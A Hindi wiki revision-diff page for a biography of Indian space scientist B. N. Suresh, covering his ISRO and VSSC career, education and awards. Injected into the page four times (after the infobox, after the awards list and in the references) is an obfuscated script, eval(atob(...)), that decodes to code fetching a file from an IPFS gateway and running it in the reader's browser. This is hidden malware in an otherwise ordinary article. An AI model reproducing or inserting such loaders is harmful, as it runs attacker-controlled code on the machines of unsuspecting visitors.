"बी. एन. सुरेश" के अवतरणों में अंतर
(''''बी. एन. सुरेश''' (अंग्रेज़ी: ''Byrana Nagappa Suresh'', जन्म- 12 नवम्ब...' के साथ नया पृष्ठ बनाया) |
|||
पंक्ति 1: | पंक्ति 1: | ||
− | '''बी. एन. सुरेश''' ([[अंग्रेज़ी]]: ''Byrana Nagappa Suresh'', जन्म- [[12 नवम्बर]], [[1943]]) [[भारत]] के प्रसिद्ध अंतरिक्ष वैज्ञानिक हैं। उन्होंने लॉन्च वाहन डिजाइन, एयरोस्पेस नेविगेशन, नियंत्रण और एक्चुएशन सिस्टम, वाहन इलेक्ट्रॉनिक्स, मॉडलिंग और सिमुलेशन के क्षेत्र में अंतरिक्ष प्रौद्योगिकी में उपलब्धियां हासिल की हैं। लगभग चार दशकों के भारतीय अंतरिक्ष अनुसंधान संगठन में अपने करियर के दौरान बी. एन. सुरेश को अंतरिक्ष कार्यक्रम में भाग लेने और आकार देने के साथ-साथ इसे महत्वपूर्ण पदों से मार्गदर्शन करने के पर्याप्त अवसर मिले। | + | {{सूचना बक्सा वैज्ञानिक |
+ | |चित्र=B-N-Suresh.jpg | ||
+ | |चित्र का नाम=बी. एन. सुरेश | ||
+ | |पूरा नाम=बी. एन. सुरेश | ||
+ | |अन्य नाम= | ||
+ | |जन्म=[[12 नवम्बर]], [[1943]] | ||
+ | |जन्म भूमि= | ||
+ | |मृत्यु= | ||
+ | |मृत्यु स्थान= | ||
+ | |अभिभावक= | ||
+ | |पति/पत्नी= | ||
+ | |संतान= | ||
+ | |कर्म भूमि=[[भारत]] | ||
+ | |कर्म-क्षेत्र=भारतीय अंतरिक्ष कार्यक्रम | ||
+ | |मुख्य रचनाएँ= | ||
+ | |विषय= | ||
+ | |खोज= | ||
+ | |भाषा= | ||
+ | |शिक्षा=इंजीनियरिंग, मैसूर विश्वविद्यालय<br /> | ||
+ | स्नातकोत्तर, आईआईटी, [[चेन्नई]] | ||
+ | |विद्यालय= | ||
+ | |पुरस्कार-उपाधि= | ||
+ | |प्रसिद्धि=अंतरिक्ष वैज्ञानिक | ||
+ | |विशेष योगदान= | ||
+ | |नागरिकता=भारतीय | ||
+ | |संबंधित लेख= | ||
+ | |शीर्षक 1= | ||
+ | |पाठ 1= | ||
+ | |शीर्षक 2= | ||
+ | |पाठ 2= | ||
+ | |अन्य जानकारी=वर्ष [[2006]] में बी. एन. सुरेश को बाहरी अंतरिक्ष के शांतिपूर्ण उपयोग से संबंधित प्रतिष्ठित संयुक्त राष्ट्र वैज्ञानिक और तकनीकी उपसमिति की अध्यक्षता करने के लिए चुना गया था। | ||
+ | |बाहरी कड़ियाँ= | ||
+ | |अद्यतन={{अद्यतन|11:36, 25 दिसम्बर 2021 (IST)}} | ||
+ | }}'''बी. एन. सुरेश''' ([[अंग्रेज़ी]]: ''Byrana Nagappa Suresh'', जन्म- [[12 नवम्बर]], [[1943]]) [[भारत]] के प्रसिद्ध अंतरिक्ष वैज्ञानिक हैं। उन्होंने लॉन्च वाहन डिजाइन, एयरोस्पेस नेविगेशन, नियंत्रण और एक्चुएशन सिस्टम, वाहन इलेक्ट्रॉनिक्स, मॉडलिंग और सिमुलेशन के क्षेत्र में अंतरिक्ष प्रौद्योगिकी में उपलब्धियां हासिल की हैं। लगभग चार दशकों के [[भारतीय अंतरिक्ष अनुसंधान संगठन]] में अपने करियर के दौरान बी. एन. सुरेश को अंतरिक्ष कार्यक्रम में भाग लेने और आकार देने के साथ-साथ इसे महत्वपूर्ण पदों से मार्गदर्शन करने के पर्याप्त अवसर मिले। | ||
==परिचय== | ==परिचय== | ||
− | डॉ. बी. एन. सुरेश ने [[2003]] से [[2007]] की अवधि के लिए प्रक्षेपण यान विकास में [[इसरो]] के प्रमुख केंद्र, [[विक्रम साराभाई अंतरिक्ष केंद्र]] (वीएसएससी) के निदेशक के पद पर सराहनीय कार्य किया है। वह इसरो द्वारा स्थापित प्रतिष्ठित भारतीय अंतरिक्ष विज्ञान और प्रौद्योगिकी संस्थान के संस्थापक निदेशक भी थे। डॉ. बी. एन. सुरेश ने [[1963]] में विज्ञान में और [[1967]] में मैसूर विश्वविद्यालय से इंजीनियरिंग में डिग्री ली। बाद में उन्होंने [[1969]] में आईआईटी [[चेन्नई]] से स्नातकोत्तर की डिग्री ली। | + | डॉ. बी. एन. सुरेश ने [[2003]] से [[2007]] की अवधि के लिए प्रक्षेपण यान विकास में [[इसरो]] के प्रमुख केंद्र, [[विक्रम साराभाई अंतरिक्ष केंद्र]] (वीएसएससी) के निदेशक के पद पर सराहनीय कार्य किया है। वह इसरो द्वारा स्थापित प्रतिष्ठित भारतीय अंतरिक्ष विज्ञान और प्रौद्योगिकी संस्थान के संस्थापक निदेशक भी थे। डॉ. बी. एन. सुरेश ने [[1963]] में विज्ञान में और [[1967]] में मैसूर विश्वविद्यालय से इंजीनियरिंग में डिग्री ली। बाद में उन्होंने [[1969]] में आईआईटी [[चेन्नई]] से स्नातकोत्तर की डिग्री ली।<ref name="pp">{{cite web |url=https://www.vssc.gov.in/HINDI/formerdirectors.html |title=पूर्व निदेशक|accessmonthday=25 दिसम्बर|accessyear=2021 |last= |first= |authorlink= |format= |publisher=vssc.gov.in |language=हिंदी}}</ref> |
==कॅरियर== | ==कॅरियर== | ||
बी. एन. सुरेश ने [[1969]] में विक्रम साराभाई अंतरिक्ष केंद्र (तब अंतरिक्ष विज्ञान और प्रौद्योगिकी केंद्र) में इसरो में अपना करियर शुरू किया। बाद में उन्होंने [[ब्रिटेन]] के सैलफोर्ड विश्वविद्यालय से नियंत्रण प्रणाली में डॉक्टरेट की डिग्री हासिल की। राष्ट्रमंडल छात्रवृत्ति। वीएसएससी में उन्होंने समूह निदेशक नियंत्रण और मार्गदर्शन समूह जैसे विभिन्न पदों पर कार्य किया है; परियोजना निदेशक, जड़त्वीय मार्गदर्शन प्रणाली परियोजना। वह इंडियन नेशनल एकेडमी ऑफ इंजीनियरिंग, एस्ट्रोनॉटिकल सोसाइटी ऑफ इंडिया, एरोनॉटिकल सोसाइटी ऑफ इंडिया और इंटरनेशनल एकेडमी ऑफ एस्ट्रोनॉटिक्स जैसे कई पेशेवर निकायों के साथी हैं। | बी. एन. सुरेश ने [[1969]] में विक्रम साराभाई अंतरिक्ष केंद्र (तब अंतरिक्ष विज्ञान और प्रौद्योगिकी केंद्र) में इसरो में अपना करियर शुरू किया। बाद में उन्होंने [[ब्रिटेन]] के सैलफोर्ड विश्वविद्यालय से नियंत्रण प्रणाली में डॉक्टरेट की डिग्री हासिल की। राष्ट्रमंडल छात्रवृत्ति। वीएसएससी में उन्होंने समूह निदेशक नियंत्रण और मार्गदर्शन समूह जैसे विभिन्न पदों पर कार्य किया है; परियोजना निदेशक, जड़त्वीय मार्गदर्शन प्रणाली परियोजना। वह इंडियन नेशनल एकेडमी ऑफ इंजीनियरिंग, एस्ट्रोनॉटिकल सोसाइटी ऑफ इंडिया, एरोनॉटिकल सोसाइटी ऑफ इंडिया और इंटरनेशनल एकेडमी ऑफ एस्ट्रोनॉटिक्स जैसे कई पेशेवर निकायों के साथी हैं। | ||
− | वे सिस्टम सोसाइटी ऑफ इंडिया के अध्यक्ष हैं। उन्होंने सालाना आयोजित होने वाले अंतर्राष्ट्रीय अंतरिक्ष यात्री कांग्रेस में [[खगोल विज्ञान]] सत्र के लिए 5 वर्षों तक अध्यक्ष के रूप में कार्य किया है। ऑस्ट्रिया के वियना में बाहरी अंतरिक्ष के शांतिपूर्ण उपयोग पर संयुक्त राष्ट्र समिति के लिए भारतीय प्रतिनिधिमंडल के प्रमुख के रूप में उन्होंने चार साल तक [[संयुक्त राष्ट्र]] की बैठकों में भारतीय अंतरिक्ष समुदाय के हितों की रक्षा करने की जिम्मेदारी निभाई। उन्हें वर्ष [[2006]] में बाहरी अंतरिक्ष के शांतिपूर्ण उपयोग से संबंधित प्रतिष्ठित संयुक्त राष्ट्र वैज्ञानिक और तकनीकी उपसमिति की अध्यक्षता करने के लिए भी चुना गया था। | + | वे सिस्टम सोसाइटी ऑफ इंडिया के अध्यक्ष हैं। उन्होंने सालाना आयोजित होने वाले अंतर्राष्ट्रीय अंतरिक्ष यात्री कांग्रेस में [[खगोल विज्ञान]] सत्र के लिए 5 वर्षों तक अध्यक्ष के रूप में कार्य किया है। ऑस्ट्रिया के वियना में बाहरी अंतरिक्ष के शांतिपूर्ण उपयोग पर संयुक्त राष्ट्र समिति के लिए भारतीय प्रतिनिधिमंडल के प्रमुख के रूप में उन्होंने चार साल तक [[संयुक्त राष्ट्र]] की बैठकों में भारतीय अंतरिक्ष समुदाय के हितों की रक्षा करने की जिम्मेदारी निभाई। उन्हें वर्ष [[2006]] में बाहरी अंतरिक्ष के शांतिपूर्ण उपयोग से संबंधित प्रतिष्ठित संयुक्त राष्ट्र वैज्ञानिक और तकनीकी उपसमिति की अध्यक्षता करने के लिए भी चुना गया था।<ref name="pp"/> |
==सम्मान== | ==सम्मान== | ||
− | बी. एन. सुरेश के पास कई पुरस्कार और सम्मान हैं। इनमें प्रमुख हैं- | + | बी. एन. सुरेश के पास कई पुरस्कार और सम्मान हैं। इनमें प्रमुख हैं<ref name="pp"/>- |
*[[1993]] में एयरोनॉटिकल सोसाइटी ऑफ़ इंडिया से बीरेन रॉय स्पेस साइंस डिज़ाइन अवार्ड। | *[[1993]] में एयरोनॉटिकल सोसाइटी ऑफ़ इंडिया से बीरेन रॉय स्पेस साइंस डिज़ाइन अवार्ड। | ||
*[[1999]] में डीआरडीओ से आत्मनिर्भरता में उत्कृष्टता के लिए 'अग्नि अवार्ड'। | *[[1999]] में डीआरडीओ से आत्मनिर्भरता में उत्कृष्टता के लिए 'अग्नि अवार्ड'। |
06:06, 25 दिसम्बर 2021 का अवतरण
बी. एन. सुरेश
| |
पूरा नाम | बी. एन. सुरेश |
जन्म | 12 नवम्बर, 1943 |
कर्म भूमि | भारत |
कर्म-क्षेत्र | भारतीय अंतरिक्ष कार्यक्रम |
शिक्षा | इंजीनियरिंग, मैसूर विश्वविद्यालय स्नातकोत्तर, आईआईटी, चेन्नई |
प्रसिद्धि | अंतरिक्ष वैज्ञानिक |
नागरिकता | भारतीय |
अन्य जानकारी | वर्ष 2006 में बी. एन. सुरेश को बाहरी अंतरिक्ष के शांतिपूर्ण उपयोग से संबंधित प्रतिष्ठित संयुक्त राष्ट्र वैज्ञानिक और तकनीकी उपसमिति की अध्यक्षता करने के लिए चुना गया था। |
अद्यतन | 11:36, 25 दिसम्बर 2021 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
बी. एन. सुरेश (अंग्रेज़ी: Byrana Nagappa Suresh, जन्म- 12 नवम्बर, 1943) भारत के प्रसिद्ध अंतरिक्ष वैज्ञानिक हैं। उन्होंने लॉन्च वाहन डिजाइन, एयरोस्पेस नेविगेशन, नियंत्रण और एक्चुएशन सिस्टम, वाहन इलेक्ट्रॉनिक्स, मॉडलिंग और सिमुलेशन के क्षेत्र में अंतरिक्ष प्रौद्योगिकी में उपलब्धियां हासिल की हैं। लगभग चार दशकों के भारतीय अंतरिक्ष अनुसंधान संगठन में अपने करियर के दौरान बी. एन. सुरेश को अंतरिक्ष कार्यक्रम में भाग लेने और आकार देने के साथ-साथ इसे महत्वपूर्ण पदों से मार्गदर्शन करने के पर्याप्त अवसर मिले।
परिचय
डॉ. बी. एन. सुरेश ने 2003 से 2007 की अवधि के लिए प्रक्षेपण यान विकास में इसरो के प्रमुख केंद्र, विक्रम साराभाई अंतरिक्ष केंद्र (वीएसएससी) के निदेशक के पद पर सराहनीय कार्य किया है। वह इसरो द्वारा स्थापित प्रतिष्ठित भारतीय अंतरिक्ष विज्ञान और प्रौद्योगिकी संस्थान के संस्थापक निदेशक भी थे। डॉ. बी. एन. सुरेश ने 1963 में विज्ञान में और 1967 में मैसूर विश्वविद्यालय से इंजीनियरिंग में डिग्री ली। बाद में उन्होंने 1969 में आईआईटी चेन्नई से स्नातकोत्तर की डिग्री ली।[1]
कॅरियर
बी. एन. सुरेश ने 1969 में विक्रम साराभाई अंतरिक्ष केंद्र (तब अंतरिक्ष विज्ञान और प्रौद्योगिकी केंद्र) में इसरो में अपना करियर शुरू किया। बाद में उन्होंने ब्रिटेन के सैलफोर्ड विश्वविद्यालय से नियंत्रण प्रणाली में डॉक्टरेट की डिग्री हासिल की। राष्ट्रमंडल छात्रवृत्ति। वीएसएससी में उन्होंने समूह निदेशक नियंत्रण और मार्गदर्शन समूह जैसे विभिन्न पदों पर कार्य किया है; परियोजना निदेशक, जड़त्वीय मार्गदर्शन प्रणाली परियोजना। वह इंडियन नेशनल एकेडमी ऑफ इंजीनियरिंग, एस्ट्रोनॉटिकल सोसाइटी ऑफ इंडिया, एरोनॉटिकल सोसाइटी ऑफ इंडिया और इंटरनेशनल एकेडमी ऑफ एस्ट्रोनॉटिक्स जैसे कई पेशेवर निकायों के साथी हैं।
वे सिस्टम सोसाइटी ऑफ इंडिया के अध्यक्ष हैं। उन्होंने सालाना आयोजित होने वाले अंतर्राष्ट्रीय अंतरिक्ष यात्री कांग्रेस में खगोल विज्ञान सत्र के लिए 5 वर्षों तक अध्यक्ष के रूप में कार्य किया है। ऑस्ट्रिया के वियना में बाहरी अंतरिक्ष के शांतिपूर्ण उपयोग पर संयुक्त राष्ट्र समिति के लिए भारतीय प्रतिनिधिमंडल के प्रमुख के रूप में उन्होंने चार साल तक संयुक्त राष्ट्र की बैठकों में भारतीय अंतरिक्ष समुदाय के हितों की रक्षा करने की जिम्मेदारी निभाई। उन्हें वर्ष 2006 में बाहरी अंतरिक्ष के शांतिपूर्ण उपयोग से संबंधित प्रतिष्ठित संयुक्त राष्ट्र वैज्ञानिक और तकनीकी उपसमिति की अध्यक्षता करने के लिए भी चुना गया था।[1]
सम्मान
बी. एन. सुरेश के पास कई पुरस्कार और सम्मान हैं। इनमें प्रमुख हैं[1]-
- 1993 में एयरोनॉटिकल सोसाइटी ऑफ़ इंडिया से बीरेन रॉय स्पेस साइंस डिज़ाइन अवार्ड।
- 1999 में डीआरडीओ से आत्मनिर्भरता में उत्कृष्टता के लिए 'अग्नि अवार्ड'।
- 2000 में एस्ट्रोनॉटिकल सोसाइटी ऑफ़ इंडिया से रॉकेट और संबंधित तकनीकों में योगदान के लिए 'एएसआई अवार्ड'।
- 2004 में आईआईटी चेन्नई से पूर्व छात्र पुरस्कार।
- 2006 में लायंस इंटरनेशनल द्वारा 'तकनीकी उत्कृष्टता पुरस्कार'।
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
- ↑ 1.0 1.1 1.2 पूर्व निदेशक (हिंदी) vssc.gov.in। अभिगमन तिथि: 25 दिसम्बर, 2021।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
संबंधित लेख